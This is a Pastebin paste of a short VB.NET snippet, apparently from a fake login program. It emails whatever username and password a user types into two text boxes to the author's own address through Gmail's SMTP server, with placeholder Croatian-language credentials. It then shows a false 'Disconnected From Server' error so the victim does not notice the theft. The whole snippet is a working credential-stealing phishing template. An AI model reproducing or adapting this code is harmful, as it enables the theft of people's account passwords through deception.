Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim mail As New MailMessage()
- smtpServer.Credentials = New Net.NetworkCredential("TVOJ MAIL", "TVOJA LOZINKA")
- 'using gmail
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com"
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("TVOJ MAIL")
- mail.To.Add("TVOJ MAIL")
- mail.Subject = "Username: " & TextBox1.Text
- mail.Body = "Username : " & TextBox1.Text & "," & " Password:" & TextBox2.Text
- smtpServer.Send(mail)
- MsgBox("Disconnected From Server, Please try again later!")
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement